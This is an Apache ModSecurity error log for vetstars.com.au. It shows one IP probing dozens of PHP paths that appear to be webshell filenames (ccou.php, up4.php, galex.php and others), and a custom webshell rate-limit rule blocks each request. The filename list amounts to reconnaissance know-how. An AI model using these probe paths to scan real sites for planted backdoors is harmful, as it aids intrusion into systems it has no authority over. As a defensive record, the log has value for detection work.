[Thu Dec 11 20:44:01.917490 2025] [:error] [pid 58099:tid 58112] [client 52.230.86.213:64285] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aTq8kcKZVSF_bdPFqRgYVwAAAMs"]
[Thu Dec 11 20:44:02.097217 2025] [:error] [pid 57991:tid 58023] [client 52.230.86.213:47065] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aTq8kqPyGmNXA2ZsETa3VgAAAEE"]
[Thu Dec 11 20:44:02.274271 2025] [:error] [pid 58099:tid 58123] [client 52.230.86.213:64302] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aTq8ksKZVSF_bdPFqRgYWAAAANY"]
[Thu Dec 11 20:44:02.490474 2025] [:error] [pid 58099:tid 58101] [client 52.230.86.213:49779] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aTq8ksKZVSF_bdPFqRgYWQAAAMA"]
[Thu Dec 11 20:44:02.666613 2025] [:error] [pid 24527:tid 24571] [client 52.230.86.213:52373] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aTq8kl9_glvtS5vXiTUH-QAAAo8"]
[Thu Dec 11 20:44:02.852151 2025] [:error] [pid 58099:tid 58105] [client 52.230.86.213:64272] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aTq8ksKZVSF_bdPFqRgYWwAAAMQ"]
[Thu Dec 11 20:44:03.049399 2025] [:error] [pid 58814:tid 58822] [client 52.230.86.213:55639] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aTq8k9iz0l9AD_3pkMw0OgAAAcY"]
[Thu Dec 11 20:44:03.227537 2025] [:error] [pid 24527:tid 24564] [client 52.230.86.213:62255] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aTq8k19_glvtS5vXiTUH-gAAAog"]
[Thu Dec 11 20:44:03.487285 2025] [:error] [pid 58814:tid 58816] [client 52.230.86.213:47061] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aTq8k9iz0l9AD_3pkMw0OwAAAcA"]
[Thu Dec 11 20:44:03.667597 2025] [:error] [pid 58814:tid 58831] [client 52.230.86.213:46651] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aTq8k9iz0l9AD_3pkMw0PQAAAc8"]
[Thu Dec 11 20:44:03.850647 2025] [:error] [pid 27459:tid 27476] [client 52.230.86.213:64293] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aTq8k1hPEXihPBKMpRNejwAAAQ8"]
[Thu Dec 11 20:44:04.132057 2025] [:error] [pid 35112:tid 35138] [client 52.230.86.213:47060] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aTq8lJ9ZpQ0WIeJhsJdrWAAAAVg"]
[Thu Dec 11 20:44:04.361156 2025] [:error] [pid 57992:tid 58052] [client 52.230.86.213:47100] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aTq8lOUeau0BMFF2vHmyqgAAAIM"]
[Thu Dec 11 20:44:04.547855 2025] [:error] [pid 57991:tid 58046] [client 52.230.86.213:49763] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aTq8lKPyGmNXA2ZsETa3WAAAAFg"]
[Thu Dec 11 20:44:04.744705 2025] [:error] [pid 27459:tid 27475] [client 52.230.86.213:53633] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aTq8lFhPEXihPBKMpRNekwAAAQ4"]
[Thu Dec 11 20:44:04.955732 2025] [:error] [pid 24527:tid 24557] [client 52.230.86.213:53665] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aTq8lF9_glvtS5vXiTUH_gAAAoE"]
[Thu Dec 11 20:44:05.158254 2025] [:error] [pid 27459:tid 27478] [client 52.230.86.213:61786] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aTq8lVhPEXihPBKMpRNelwAAARE"]
[Thu Dec 11 20:44:05.397902 2025] [:error] [pid 35112:tid 35129] [client 52.230.86.213:18890] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aTq8lZ9ZpQ0WIeJhsJdrWQAAAU8"]
[Thu Dec 11 20:44:05.619838 2025] [:error] [pid 57991:tid 58045] [client 52.230.86.213:61760] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aTq8laPyGmNXA2ZsETa3WQAAAFc"]
[Thu Dec 11 20:44:05.850033 2025] [:error] [pid 27459:tid 27463] [client 52.230.86.213:53661] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aTq8lVhPEXihPBKMpRNemgAAAQI"]
[Thu Dec 11 20:44:06.038638 2025] [:error] [pid 58814:tid 58827] [client 52.230.86.213:61801] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aTq8ltiz0l9AD_3pkMw0QAAAAcs"]
[Thu Dec 11 20:44:06.256974 2025] [:error] [pid 24527:tid 24560] [client 52.230.86.213:62238] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aTq8ll9_glvtS5vXiTUH_wAAAoQ"]
[Thu Dec 11 20:44:06.445973 2025] [:error] [pid 24527:tid 24574] [client 52.230.86.213:61788] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aTq8ll9_glvtS5vXiTUIAQAAApI"]
[Thu Dec 11 20:44:06.732642 2025] [:error] [pid 58814:tid 58836] [client 52.230.86.213:47086] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aTq8ltiz0l9AD_3pkMw0QQAAAdQ"]
[Thu Dec 11 20:44:06.916210 2025] [:error] [pid 24483:tid 24493] [client 52.230.86.213:47054] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aTq8llGHKh2d_uVkopRfxwAAAgg"]
[Thu Dec 11 20:44:07.096200 2025] [:error] [pid 24527:tid 24566] [client 52.230.86.213:49746] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aTq8l19_glvtS5vXiTUIBAAAAoo"]
[Thu Dec 11 20:44:07.308904 2025] [:error] [pid 58099:tid 58118] [client 52.230.86.213:61780] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aTq8l8KZVSF_bdPFqRgYXQAAANE"]
[Thu Dec 11 20:44:07.488163 2025] [:error] [pid 35112:tid 35117] [client 52.230.86.213:40946] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aTq8l59ZpQ0WIeJhsJdrXAAAAUM"]
[Thu Dec 11 20:44:07.674212 2025] [:error] [pid 58099:tid 58119] [client 52.230.86.213:47048] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aTq8l8KZVSF_bdPFqRgYXwAAANI"]
[Thu Dec 11 20:44:07.888004 2025] [:error] [pid 35112:tid 35126] [client 52.230.86.213:64259] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aTq8l59ZpQ0WIeJhsJdrXQAAAUw"]
[Thu Dec 11 20:44:08.082593 2025] [:error] [pid 58814:tid 58818] [client 52.230.86.213:59819] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aTq8mNiz0l9AD_3pkMw0QgAAAcI"]
[Thu Dec 11 20:44:08.286604 2025] [:error] [pid 57991:tid 58031] [client 52.230.86.213:53663] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aTq8mKPyGmNXA2ZsETa3WwAAAEk"]
[Thu Dec 11 20:44:08.471434 2025] [:error] [pid 35112:tid 35118] [client 52.230.86.213:64316] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aTq8mJ9ZpQ0WIeJhsJdrYAAAAUQ"]
[Thu Dec 11 20:44:08.664387 2025] [:error] [pid 24527:tid 24571] [client 52.230.86.213:61789] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aTq8mF9_glvtS5vXiTUICwAAAo8"]
[Thu Dec 11 20:44:08.892336 2025] [:error] [pid 58814:tid 58823] [client 52.230.86.213:64294] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aTq8mNiz0l9AD_3pkMw0RAAAAcc"]
[Thu Dec 11 20:44:09.088442 2025] [:error] [pid 58099:tid 58108] [client 52.230.86.213:49753] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aTq8mcKZVSF_bdPFqRgYZAAAAMc"]
[Thu Dec 11 20:44:09.314528 2025] [:error] [pid 27459:tid 27477] [client 52.230.86.213:61188] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aTq8mVhPEXihPBKMpRNengAAARA"]
[Thu Dec 11 20:44:09.702251 2025] [:error] [pid 24527:tid 24557] [client 52.230.86.213:53644] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aTq8mV9_glvtS5vXiTUIDwAAAoE"]
[Thu Dec 11 20:44:10.242855 2025] [:error] [pid 57992:tid 58063] [client 52.230.86.213:55666] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aTq8muUeau0BMFF2vHmyrAAAAI4"]
[Thu Dec 11 20:44:10.446171 2025] [:error] [pid 57991:tid 58027] [client 52.230.86.213:61766] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aTq8mqPyGmNXA2ZsETa3XAAAAEU"]
[Thu Dec 11 20:44:10.636848 2025] [:error] [pid 58099:tid 58106] [client 52.230.86.213:61240] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aTq8msKZVSF_bdPFqRgYZgAAAMU"]
[Thu Dec 11 20:44:10.823363 2025] [:error] [pid 57992:tid 58059] [client 52.230.86.213:58602] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aTq8muUeau0BMFF2vHmyrQAAAIo"]
[Thu Dec 11 20:44:11.028714 2025] [:error] [pid 57992:tid 58064] [client 52.230.86.213:59780] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aTq8m-Ueau0BMFF2vHmyrgAAAI8"]
[Thu Dec 11 20:44:11.223272 2025] [:error] [pid 57992:tid 58068] [client 52.230.86.213:62216] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aTq8m-Ueau0BMFF2vHmyrwAAAJM"]
[Thu Dec 11 20:44:11.398143 2025] [:error] [pid 48261:tid 48266] [client 52.230.86.213:62228] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aTq8m-yPI4WU-4JmiQPA_gAAAYI"]
[Thu Dec 11 20:44:11.623728 2025] [:error] [pid 24527:tid 24569] [client 52.230.86.213:53678] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aTq8m19_glvtS5vXiTUIFgAAAo0"]
[Thu Dec 11 20:44:11.805471 2025] [:error] [pid 48261:tid 48278] [client 52.230.86.213:49772] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aTq8m-yPI4WU-4JmiQPBAQAAAY4"]
[Thu Dec 11 20:44:11.996773 2025] [:error] [pid 48261:tid 48270] [client 52.230.86.213:53695] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aTq8m-yPI4WU-4JmiQPBAgAAAYY"]
[Thu Dec 11 20:44:12.255770 2025] [:error] [pid 57992:tid 58071] [client 52.230.86.213:61767] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aTq8nOUeau0BMFF2vHmytAAAAJY"]
[Thu Dec 11 20:44:12.562921 2025] [:error] [pid 24527:tid 24580] [client 52.230.86.213:47067] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aTq8nF9_glvtS5vXiTUIGwAAApg"]
[Thu Dec 11 20:44:12.767431 2025] [:error] [pid 24483:tid 24497] [client 52.230.86.213:55622] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aTq8nFGHKh2d_uVkopRfyQAAAgw"]
[Thu Dec 11 20:44:12.942654 2025] [:error] [pid 57992:tid 58054] [client 52.230.86.213:49734] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtz.php"] [unique_id "aTq8nOUeau0BMFF2vHmytgAAAIU"]
[Thu Dec 11 20:44:13.122964 2025] [:error] [pid 58814:tid 58829] [client 52.230.86.213:49781] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aTq8ndiz0l9AD_3pkMw0RwAAAc0"]
[Thu Dec 11 20:44:13.407084 2025] [:error] [pid 58814:tid 58826] [client 52.230.86.213:49783] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aTq8ndiz0l9AD_3pkMw0SQAAAco"]
[Thu Dec 11 20:44:13.616691 2025] [:error] [pid 58814:tid 58816] [client 52.230.86.213:62239] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aTq8ndiz0l9AD_3pkMw0SgAAAcA"]
[Thu Dec 11 20:44:13.828001 2025] [:error] [pid 58099:tid 58120] [client 52.230.86.213:47091] [client 52.230.86.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galex.php"] [unique_id "aTq8ncKZVSF_bdPFqRgYaQAAANM"]
